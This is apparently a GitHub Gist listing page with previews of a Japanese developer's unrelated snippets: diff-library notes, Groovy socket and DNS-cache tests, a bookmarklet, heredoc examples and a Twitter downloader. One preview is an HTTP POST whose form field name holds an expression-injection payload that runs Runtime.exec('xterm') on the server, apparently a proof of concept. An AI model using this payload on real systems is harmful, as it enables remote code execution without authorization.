diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。
※URLなどは2018-01-04時点のもの。
diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:
/* | |
* (no copyright, license-free, AS-IS, for any commercial or oss or free source code) | |
*/ | |
String host = args[0] | |
int port = args[1].toInteger() | |
int to_connect = 10 * 1000 // connect timeout in milli secs | |
int to_read = 10 * 1000 // read timeout in milli secs | |
SocketAddress sa_local = null // bind to system default address and port. | |
SocketAddress sa_remote = new InetSocketAddress(host, port) |
for (int i in 0..0xFF) { | |
System.out.write(i); | |
System.out.flush(); | |
} |
javascript:void(function(){if (window.location.href.match(new RegExp("file/d/(\\w+)/edit"))) { var n = "http://drive.google.com/uc?export=view&id=" + RegExp.$1; prompt("url", n); } else { prompt("not google drive image edit url. see:", "http://googlesystem.blogspot.jp/2013/02/permalinks-for-google-drive-images.html"); }}()) |
<!DOCTYPE html> | |
<html lang="ja"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>HTML5 history API exercise</title> | |
</head> | |
<script> | |
/* | |
HTML5 history API exercise 1. |
import sun.net.InetAddressCachePolicy; | |
// see: https://docs.oracle.com/javase/jp/8/api/java/net/InetAddress.html | |
// see: https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/sun/net/InetAddressCachePolicy.java | |
// for (Open/Oralce) JRE 7-8 | |
// "networkaddress.cache.ttl" | |
println InetAddressCachePolicy.cachePolicy | |
// "networkaddress.cache.negative.ttl" | |
println InetAddressCachePolicy.negativeCachePolicy | |
println InetAddressCachePolicy.propertySet |
diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。
※URLなどは2018-01-04時点のもの。
diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:
# ヒアドキュメントをテキストファイルに保存 | |
cat << EOF > demo.txt | |
abc | |
def | |
EOF | |
# ヒアドキュメントは標準入力として扱われるので、こんなことも。 | |
psql mydb << SQL | |
select * from xxxx | |
insert into xxxx values (1, 2, ...) |
POST /users HTTP/1.1 | |
Host: localhost:8080 | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 164 | |
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf |
結局諦めた話になるので Qiita にも書くほどでもないが、それにしては参考URLがたくさん出てきたり、若干の考察もあるのでGistの方に載せます。
3行でまとめ:
# Twitter で「いいね!」した画像をローカルにダウンロードする Python スクリプト。 | |
# (自分自身のアカウントを前提) | |
# | |
# requirements: python3 (>= 3.10) | |
# | |
# setup: | |
# 1. `python3 -m venv venv` | |
# 2. `pip install tweepy==4.4.0` | |
# (if you installed via windows installer, try 'py -m venv venv') | |
# |